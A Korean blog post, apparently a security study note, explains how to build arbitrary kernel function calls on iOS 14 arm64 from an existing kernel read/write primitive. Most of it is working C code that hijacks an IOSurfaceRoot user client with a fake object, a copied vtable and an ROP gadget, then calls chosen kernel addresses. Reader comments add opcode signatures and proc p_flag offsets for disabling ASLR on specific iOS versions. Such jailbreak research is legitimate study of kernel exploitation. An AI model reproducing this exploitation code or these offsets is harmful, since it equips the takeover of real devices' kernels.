콘텐츠로 건너뛰기

iOS arm64 환경에서 Kernel R/W로 kernel call 구현 이해하기

디버깅 사용환경:

iPhone 8 / 14.4.2

Reference:

이해하는데 사용될 Project:

https://gitlab.com/alias20/kcalltest14
https://github.com/jsherman212/ktrw

Userspace에서 IOConnectTrap6 함수를 호출하여 Kernel Call하기까지 호출 경로 (Backtrace)

fleh_synchronous
https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/osfmk/arm64/locore.s#L614
-> sleh_synchronous
https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/osfmk/arm64/sleh.c#L657
-> handle_svc
https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/osfmk/arm64/sleh.c#L1642
-> mach_syscall
https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/osfmk/arm64/bsd_arm64.c#L258
-> iokit_user_client_trap
https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/iokit/Kernel/IOUserClient.cpp#L6198

kern_return_t
iokit_user_client_trap(struct iokit_user_client_trap_args *args)
함수에 있는

result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
위 코드에서 최대 6개의 인자와 함께 커널 함수를 호출해낼 수 있다.

kern_return_t
iokit_user_client_trap(struct iokit_user_client_trap_args *args)
{
    kern_return_t  result = kIOReturnBadArgument;
    IOUserClient * userClient;
    OSObject     * object;
    uintptr_t      ref;

...
        if (kIOReturnSuccess == result) {
            trap = userClient->getTargetAndTrapForIndex(&target, args->index);
        }
        if (trap && target) {
            IOTrap func;

            func = trap->func;

            if (func) {
                result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
            }
        }

        iokit_remove_connect_reference(userClient);
    }

    return result;
}

방법

이미 커널 읽기/쓰기 권한을 가졌다는 환경에서 진행해볼 것이다.

1.
AppleKeyStore나 IOSurfaceRoot 같은 등록된 기본 IOService 객체를 IOServiceGetMatchingServices 함수를 통해 찾는다.
그런다음, IOServiceOpen 함수를 통해 그 객체에 연결해서, 연결한 핸들을 의미하는 mach 포트인 user_client 를 가져온다.

uint64_t init_kcall_allocated(uint64_t _fake_vtable, uint64_t _fake_client, mach_port_t * _user_client) {
    uint64_t add_x0_x0_0x40_ret_func = off_add_x0_x0_0x40_ret_func + get_kslide();

    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
    if (service == IO_OBJECT_NULL) {
        printf(" [-] unable to find service\n");
        exit(EXIT_FAILURE);
    }
    mach_port_t user_client;
    kern_return_t err = IOServiceOpen(service, mach_task_self(), 0, & user_client);
    if (err != KERN_SUCCESS) {
        printf(" [-] unable to get user client connection\n");
        exit(EXIT_FAILURE);
    }
    ...
}

2.
아래와 같은 방법으로 IPC 공간내에서 엔트리를 찾는다.
find_port 함수는 ipc_entry_lookup 함수와 같다.

https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/osfmk/ipc/ipc_entry.c#L94

uint64_t uc_port = find_port(user_client);
...

uint64_t find_port(mach_port_name_t port){
	uint64_t self_proc = proc_of_pid(getpid());
    uint64_t task_addr = kread64(self_proc + off_p_task);
    uint64_t itk_space = kread64(task_addr + off_task_itk_space);
    uint64_t is_table = kread64(itk_space + off_ipc_space_is_table);
    uint32_t port_index = port >> 8; //MACH_PORT_INDEX
    const int sizeof_ipc_entry_t = 0x18;
    uint64_t port_addr = kread64(is_table + (port_index * sizeof_ipc_entry_t));
    return port_addr;
}

uint64_t proc_of_pid(pid_t pid) {
	uint64_t proc = 0;
	kernRW_getKernelProc(&proc);
    
    while (true) {
        if(kread32(proc + off_p_pid) == pid) {
            return proc;
        }
        proc = kread64(proc + off_p_list_le_prev);
        if(!proc) {
            return -1;
        }
    }
    
    return 0;
}

3.
IOSurfaceUserClient 클래스를 참고해 fake 객체와 fake vtable를 만드는데,
IOSurface vtable 중 add x0, x0, #0x40 가젯을 이용해 getTargetAndTrapForIndex 함수에서 호출되도록 만든다.

https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/iokit/IOKit/IOUserClient.h#L194

...
uint64_t uc_addr = kread64(uc_port + 0x68); //#define IPC_PORT_IP_KOBJECT_OFF (0x68)	//
uint64_t uc_vtab = kread64(uc_addr); //0xFFFFFFF0078666C0
uint64_t fake_vtable = _fake_vtable;
for (int i = 0; i < 0x200; i++) {
    kwrite64(fake_vtable + i * 8, kread64(uc_vtab + i * 8));
}
uint64_t fake_client = _fake_client;
for (int i = 0; i < 0x200; i++) {
    kwrite64(fake_client + i * 8, kread64(uc_addr + i * 8));
}
kwrite64(fake_client, fake_vtable);
kwrite64(uc_port + 0x68, fake_client); //#define IPC_PORT_IP_KOBJECT_OFF (0x68)
kwrite64(fake_vtable + 8 * 0xB8, add_x0_x0_0x40_ret_func);

*_user_client = user_client;

4.
IOConnectTrap6 함수를 이용하여 커널 함수를 호출해본다.
테스트할 함수는 300을 리턴하는 커널 주소를 대상으로 진행하였다.

int test_kcall(mach_port_t user_client, uint64_t fake_client) {
	uint64_t ret_300 = kcall(user_client, fake_client, off_ret_300 + get_kslide(), 0x4141414141414141, 0x4242424242424242, 0x4343434343434343, 0x4444444444444444, 0x4545454545454545, 0x4646464646464646, 0x4747474747474747);
	printf("ret_300: %llu\n", ret_300);
	...
}

uint64_t kcall(mach_port_t user_client, uint64_t fake_client, uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
    uint64_t offx20 = kread64(fake_client+0x40);
    uint64_t offx28 = kread64(fake_client+0x48);
    kwrite64(fake_client+0x40, x0);
    kwrite64(fake_client+0x48, addr);
    uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
    kwrite64(fake_client+0x40, offx20);
    kwrite64(fake_client+0x48, offx28);
    return returnval;
}

실제로 확인해보면, 커널 함수가 성공적으로 호출되어 300을 반환하는 것을 알 수 있다.

문제점?

해당 방법으로 최대 7개의 인자만큼 커널 함수를 호출할 수는 있지만,
iokit_user_client_trap 함수의 리턴값이 kern_return_t = int형이므로
리턴값이 8바이트 형식 uint64_t일 경우, 4바이트 크기로 잘려서 반환된다.

따라서, 다음 글에서 JOP을 이용해서 이러한 문제점을 해결하는 글을 작성해볼 예정이다.

태그:

“iOS arm64 환경에서 Kernel R/W로 kernel call 구현 이해하기”의 6개의 댓글

  1. 안녕하세요.
    kfund 프로젝트를 공부중인데 분석을 잘 해두셔서 댓글 남겨봅니다.

    proc 구조체의 p_flag라는 값이 ASLR을 disable할 수있다고 해서
    이 값에 접근해보려고 합니다만, 정확한 주소값 계산을 못해 변경하기 쉽지 않네요.

    혹시 p_flag에 대해 아시는 부분 있나요 ?
    https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_exec.c#L4220

    1. 안녕하세요~ 답변이 조금 늦어서 죄송하지만, 글에 관심 가져주셔서 감사합니다.

      구조체 오프셋을 구하는 방법은 여러가지가 있는데, 하나 말씀드리자면
      macOS KDK를 다운받아 살펴보면 development 커널이 있습니다.
      거기서 커널함수 심볼을 찾아 그 함수의 opcode를 아이폰 커널에서 검색해서 심볼을 찾는 방법이 있습니다.

      proc_pidshortbsdinfo 함수를 보자면:
      https://github.com/apple-oss-distributions/xnu/blob/xnu-8019.41.5/bsd/kern/proc_info.c#L786
      해당 함수는 C0 04 00 54 3F 09 00 71 E1 04 00 54 09 00 82 52
      opcode가 포함되어 있기 때문에 검색해보면 하나 나올겁니다

      저 함수에서 p_flag 오프셋을 찾으시면 되는데,
      구조체 필드 접근은 LDR 어셈블리를 사용하기 때문에 유심히 살펴보시면 될 것 같습니다.
      https://github.com/apple-oss-distributions/xnu/blob/xnu-8019.41.5/bsd/kern/proc_info.c#L818

      6s 15.7.6 기준: 0x264,
      14pro 16.1.2 기준: 0x25c 오프셋으로 나오네요

      1. 먼저 친절한 답변 감사합니다.
        답 확인부터 직접 해보기까지의 시간이 걸려 늦게라도 감사의 인사를 드립니다.

        직접해보면서 느낀 궁금한점이 몇가지 있습니다.
        1. 아이폰 커널 디버깅 방법
        제가 아는 커널 디버깅 방법으로는 ktrw뿐인데 다른 방법에 대한 키워드를 받을 수 있을까요 ?
        (현재 제가 공부하고 있는 버전은 ios16.6.1입니다. )

        2. launchd 프로세스 p_flag 변경을 이용한 alsr disable
        올려주신 Kfund 프로젝트에서 launchd 프로세스의 pid를 가져와서 kwrite후에
        ssh로 연결해서 ptr address를 출력하고 있습니다. 이 방식도 가능할까요 ?

        1. 1. Corellium을 통해 커널 디버깅하는 방법이 있긴 합니다 (다만, 가격이…) 아니면 qemu-t8030 프로젝트를 사용하는 방법이 있을 것 같긴한데, 이에 대해선 안살펴봐서 잘 모르겠네요.
          2. 질문을 제대로 잘 이해 못했는데, 가능하긴 할거에요..

답글 남기기